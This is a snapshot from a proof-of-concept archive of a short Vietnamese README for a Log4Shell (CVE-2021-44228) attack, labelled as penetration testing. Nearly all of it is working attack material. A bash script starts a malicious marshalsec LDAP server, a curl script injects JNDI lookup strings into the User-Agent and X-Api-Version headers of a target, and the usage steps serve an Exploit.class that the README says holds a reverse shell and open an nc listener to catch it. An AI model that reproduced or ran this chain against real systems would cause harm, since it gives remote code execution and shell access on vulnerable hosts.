关联漏洞
描述
Kiểm thử xâm nhập
介绍
# CVE-2021-44228-Log4Shell-
Kiểm thử xâm nhập
1. Tạo LDAP Server độc hại (dùng Marshalsec)
#!/bin/bash
# Script: start_ldap_server.sh
# Yêu cầu: Cài đặt Java và Marshalsec (https://github.com/mbechler/marshalsec)
LDAP_PORT="1389"
HTTP_PORT="8000"
ATTACKER_IP="192.168.0.101"
REVERSE_PORT="5555"
echo "[+] Khởi động LDAP server độc hại trên port $LDAP_PORT..."
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer \
"http://$ATTACKER_IP:$HTTP_PORT/#Exploit" $LDAP_PORT
2. Gửi Payload Log4Shell từ Webserver bị chiếm
#!/bin/bash
# Script: exploit_log4shell.sh
# Mục tiêu: Gửi payload JNDI đến máy trạm Windows
TARGET_IP="192.168.1.10"
ATTACKER_IP="192.168.0.101"
LDAP_PORT="1389"
echo "[+] Gửi payload Log4Shell đến $TARGET_IP..."
curl -X GET \
"http://$TARGET_IP" \
-H "User-Agent: \${jndi:ldap://$ATTACKER_IP:$LDAP_PORT/Exploit}" \
-H "X-Api-Version: \${jndi:ldap://$ATTACKER_IP:$LDAP_PORT/Exploit}"
# Cách sử dụng
# Khởi động LDAP server:
./start_ldap_server.sh
# Chạy HTTP server để host file Exploit.class (chứa reverse shell):
python3 -m http.server 8000
# Gửi payload từ Webserver bị chiếm
./exploit_log4shell.sh
# Lắng nghe reverse shell trên máy tấn công:
nc -lvnp 5555
文件快照
[4.0K] /data/pocs/a380d0bf327c51ec85466304af7962dbcc43905c
└── [1.3K] README.md
0 directories, 1 file
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。